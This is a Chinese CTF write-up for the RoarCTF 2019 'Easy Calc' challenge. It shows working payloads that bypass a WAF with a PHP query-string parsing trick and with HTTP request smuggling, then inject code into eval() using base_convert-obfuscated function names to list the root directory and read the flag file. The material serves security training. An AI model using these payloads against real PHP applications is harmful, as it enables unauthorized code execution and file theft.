zoukankan      html  css  js  c++  java
  • [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

     简介

     原题复现:

     考察知识点:http协议走私、php字符串解析漏洞

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

     过程

    一枚菜狗打开页面  懵逼一个小时然后   搜索WP。。。。。

    查看源码发现

    利用php字符串解析漏洞

    计算的时候会访问calc.php页面  访问它获得源码  审计发现有个过滤  过滤完执行eval()

    所以可以构造

    http://node3.buuoj.cn:28719/calc.php?num=phpinfo()  出错 被waf挡住了

    http://node3.buuoj.cn:28719/calc.php?%20num=phpinfo() 利用php字符串解析特性在变量前面加上空格即可绕过   绕过姿势文章:https://www.freebuf.com/column/207936.html

     继续构造

    http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(scandir(chr(47)))

    http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

    HTTP走私绕过WAF

    http协议走私基础:https://www.cnblogs.com/xhds/p/12339994.html

    CL-CL

    两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。

     CL-TE

    CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。

     

     构造payload获得Flag
    使用scandir()函数readfile()函数base_convert()函数dechex() 函数hex2bin() 函数chr()函数
    36进制scandir->10进制61693386291
    36进制readfile->10进制2146934604002
    ascii码/->16进制2f->10进制47
    36进制f1agg->10进制25254448(读取根目录得到的)

    
    
    var_dump(base_convert(61693386291,10,36)(chr(47)))

     读取flag

    var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))

     

     参考学习:https://xz.aliyun.com/t/6654

  • 相关阅读:
    学习js笔记(第3章-语句和严格模式)
    学习js笔记(1,2章)
    学习闭包
    JavaScript 内存泄漏
    jQuery基础(四)—动画篇
    网站性能优化之yahoo军规
    webpack打包vue文件报错:Module parse failed: Unexpected token (1:0)
    PHP图片转为webp格式
    postman在phpstorm使用xdebug调试
    charles抓取手机APP,配置正确却抓不到数据
  • 原文地址:https://www.cnblogs.com/xhds/p/12460958.html
Copyright © 2011-2022 走看看